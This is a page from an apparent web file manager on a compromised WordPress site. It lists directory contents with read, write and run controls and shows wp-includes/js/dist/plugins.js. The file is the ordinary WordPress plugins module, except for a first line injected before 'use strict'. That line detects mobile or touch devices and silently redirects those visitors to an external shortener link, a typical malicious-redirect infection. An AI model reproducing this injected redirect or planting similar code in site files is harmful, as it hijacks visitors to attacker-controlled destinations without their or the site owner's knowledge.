at path:ROOT / wp-includes / js / dist / plugins.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄plugins.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).plugins = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all) => {
15 for (var name in all)
16 __defProp(target, name, { get: all[name], enumerable: true });
17 };
18 var __copyProps = (to, from, except, desc) => {
19 if (from && typeof from === "object" || typeof from === "function") {
20 for (let key of __getOwnPropNames(from))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // package-external:@wordpress/element
37 var require_element = __commonJS({
38 "package-external:@wordpress/element"(exports, module) {
39 module.exports = window.wp.element;
40 }
41 });
42
43 // package-external:@wordpress/hooks
44 var require_hooks = __commonJS({
45 "package-external:@wordpress/hooks"(exports, module) {
46 module.exports = window.wp.hooks;
47 }
48 });
49
50 // package-external:@wordpress/is-shallow-equal
51 var require_is_shallow_equal = __commonJS({
52 "package-external:@wordpress/is-shallow-equal"(exports, module) {
53 module.exports = window.wp.isShallowEqual;
54 }
55 });
56
57 // package-external:@wordpress/compose
58 var require_compose = __commonJS({
59 "package-external:@wordpress/compose"(exports, module) {
60 module.exports = window.wp.compose;
61 }
62 });
63
64 // package-external:@wordpress/deprecated
65 var require_deprecated = __commonJS({
66 "package-external:@wordpress/deprecated"(exports, module) {
67 module.exports = window.wp.deprecated;
68 }
69 });
70
71 // vendor-external:react/jsx-runtime
72 var require_jsx_runtime = __commonJS({
73 "vendor-external:react/jsx-runtime"(exports, module) {
74 module.exports = window.ReactJSXRuntime;
75 }
76 });
77
78 // package-external:@wordpress/primitives
79 var require_primitives = __commonJS({
80 "package-external:@wordpress/primitives"(exports, module) {
81 module.exports = window.wp.primitives;
82 }
83 });
84
85 // packages/plugins/build-module/index.mjs
86 var index_exports = {};
87 __export(index_exports, {
88 PluginArea: () => plugin_area_default,
89 getPlugin: () => getPlugin,
90 getPlugins: () => getPlugins,
91 registerPlugin: () => registerPlugin,
92 unregisterPlugin: () => unregisterPlugin,
93 usePluginContext: () => usePluginContext,
94 withPluginContext: () => withPluginContext
95 });
96
97 // node_modules/memize/dist/index.js
98 function memize(fn, options) {
99 var size = 0;
100 var head;
101 var tail;
102 options = options || {};
103 function memoized() {
104 var node = head, len = arguments.length, args, i;
105 searchCache: while (node) {
106 if (node.args.length !== arguments.length) {
107 node = node.next;
108 continue;
109 }
110 for (i = 0; i < len; i++) {
111 if (node.args[i] !== arguments[i]) {
112 node = node.next;
113 continue searchCache;
114 }
115 }
116 if (node !== head) {
117 if (node === tail) {
118 tail = node.prev;
119 }
120 node.prev.next = node.next;
121 if (node.next) {
122 node.next.prev = node.prev;
123 }
124 node.next = head;
125 node.prev = null;
126 head.prev = node;
127 head = node;
128 }
129 return node.val;
130 }
131 args = new Array(len);
132 for (i = 0; i < len; i++) {
133 args[i] = arguments[i];
134 }
135 node = {
136 args,
137 // Generate the result from original function
138 val: fn.apply(null, args)
139 };
140 if (head) {
141 head.prev = node;
142 node.next = head;
143 } else {
144 tail = node;
145 }
146 if (size === /** @type {MemizeOptions} */
147 options.maxSize) {
148 tail = /** @type {MemizeCacheNode} */
149 tail.prev;
150 tail.next = null;
151 } else {
152 size++;
153 }
154 head = node;
155 return node.val;
156 }
157 memoized.clear = function() {
158 head = null;
159 tail = null;
160 size = 0;
161 };
162 return memoized;
163 }
164
165 // packages/plugins/build-module/components/plugin-area/index.mjs
166 var import_element3 = __toESM(require_element(), 1);
167 var import_hooks2 = __toESM(require_hooks(), 1);
168 var import_is_shallow_equal = __toESM(require_is_shallow_equal(), 1);
169
170 // packages/plugins/build-module/components/plugin-context/index.mjs
171 var import_element = __toESM(require_element(), 1);
172 var import_compose = __toESM(require_compose(), 1);
173 var import_deprecated = __toESM(require_deprecated(), 1);
174 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
175 var Context = (0, import_element.createContext)({
176 name: null,
177 icon: null
178 });
179 Context.displayName = "PluginContext";
180 var PluginContextProvider = Context.Provider;
181 function usePluginContext() {
182 return (0, import_element.useContext)(Context);
183 }
184 var withPluginContext = (mapContextToProps) => (0, import_compose.createHigherOrderComponent)((OriginalComponent) => {
185 (0, import_deprecated.default)("wp.plugins.withPluginContext", {
186 since: "6.8.0",
187 alternative: "wp.plugins.usePluginContext"
188 });
189 return (props) => /* @__PURE__ */ (0, import_jsx_runtime.jsx)(Context.Consumer, { children: (context) => /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
190 OriginalComponent,
191 {
192 ...props,
193 ...mapContextToProps(context, props)
194 }
195 ) });
196 }, "withPluginContext");
197
198 // packages/plugins/build-module/components/plugin-error-boundary/index.mjs
199 var import_element2 = __toESM(require_element(), 1);
200 var PluginErrorBoundary = class extends import_element2.Component {
201 constructor(props) {
202 super(props);
203 this.state = {
204 hasError: false
205 };
206 }
207 static getDerivedStateFromError() {
208 return { hasError: true };
209 }
210 componentDidCatch(error) {
211 const { name, onError } = this.props;
212 if (onError) {
213 onError(name, error);
214 }
215 }
216 render() {
217 if (!this.state.hasError) {
218 return this.props.children;
219 }
220 return null;
221 }
222 };
223
224 // packages/plugins/build-module/api/index.mjs
225 var import_hooks = __toESM(require_hooks(), 1);
226
227 // packages/icons/build-module/library/plugins.mjs
228 var import_primitives = __toESM(require_primitives(), 1);
229 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
230 var plugins_default = /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives.Path, { d: "M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z" }) });
231
232 // packages/plugins/build-module/api/index.mjs
233 var plugins = {};
234 function registerPlugin(name, settings) {
235 if (typeof settings !== "object") {
236 console.error("No settings object provided!");
237 return null;
238 }
239 if (typeof name !== "string") {
240 console.error("Plugin name must be string.");
241 return null;
242 }
243 if (!/^[a-z][a-z0-9-]*$/.test(name)) {
244 console.error(
245 'Plugin name must include only lowercase alphanumeric characters or dashes, and start with a letter. Example: "my-plugin".'
246 );
247 return null;
248 }
249 if (plugins[name]) {
250 console.error(`Plugin "${name}" is already registered.`);
251 }
252 settings = (0, import_hooks.applyFilters)(
253 "plugins.registerPlugin",
254 settings,
255 name
256 );
257 const { render, scope } = settings;
258 if (typeof render !== "function") {
259 console.error(
260 'The "render" property must be specified and must be a valid function.'
261 );
262 return null;
263 }
264 if (scope) {
265 if (typeof scope !== "string") {
266 console.error("Plugin scope must be string.");
267 return null;
268 }
269 if (!/^[a-z][a-z0-9-]*$/.test(scope)) {
270 console.error(
271 'Plugin scope must include only lowercase alphanumeric characters or dashes, and start with a letter. Example: "my-page".'
272 );
273 return null;
274 }
275 }
276 plugins[name] = {
277 name,
278 icon: plugins_default,
279 ...settings
280 };
281 (0, import_hooks.doAction)("plugins.pluginRegistered", settings, name);
282 return settings;
283 }
284 function unregisterPlugin(name) {
285 if (!plugins[name]) {
286 console.error('Plugin "' + name + '" is not registered.');
287 return;
288 }
289 const oldPlugin = plugins[name];
290 delete plugins[name];
291 (0, import_hooks.doAction)("plugins.pluginUnregistered", oldPlugin, name);
292 return oldPlugin;
293 }
294 function getPlugin(name) {
295 return plugins[name];
296 }
297 function getPlugins(scope) {
298 return Object.values(plugins).filter(
299 (plugin) => plugin.scope === scope
300 );
301 }
302
303 // packages/plugins/build-module/components/plugin-area/index.mjs
304 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
305 var getPluginContext = memize(
306 (icon, name) => ({
307 icon,
308 name
309 })
310 );
311 function PluginArea({
312 scope,
313 onError
314 }) {
315 const store = (0, import_element3.useMemo)(() => {
316 let lastValue = [];
317 return {
318 subscribe(listener) {
319 (0, import_hooks2.addAction)(
320 "plugins.pluginRegistered",
321 "core/plugins/plugin-area/plugins-registered",
322 listener
323 );
324 (0, import_hooks2.addAction)(
325 "plugins.pluginUnregistered",
326 "core/plugins/plugin-area/plugins-unregistered",
327 listener
328 );
329 return () => {
330 (0, import_hooks2.removeAction)(
331 "plugins.pluginRegistered",
332 "core/plugins/plugin-area/plugins-registered"
333 );
334 (0, import_hooks2.removeAction)(
335 "plugins.pluginUnregistered",
336 "core/plugins/plugin-area/plugins-unregistered"
337 );
338 };
339 },
340 getValue() {
341 const nextValue = getPlugins(scope);
342 if (!(0, import_is_shallow_equal.isShallowEqual)(lastValue, nextValue)) {
343 lastValue = nextValue;
344 }
345 return lastValue;
346 }
347 };
348 }, [scope]);
349 const plugins2 = (0, import_element3.useSyncExternalStore)(
350 store.subscribe,
351 store.getValue,
352 store.getValue
353 );
354 return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)("div", { style: { display: "none" }, children: plugins2.map(({ icon, name, render: Plugin }) => /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
355 PluginContextProvider,
356 {
357 value: getPluginContext(icon, name),
358 children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(PluginErrorBoundary, { name, onError, children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(Plugin, {}) })
359 },
360 name
361 )) });
362 }
363 var plugin_area_default = PluginArea;
364 return __toCommonJS(index_exports);
365})();
366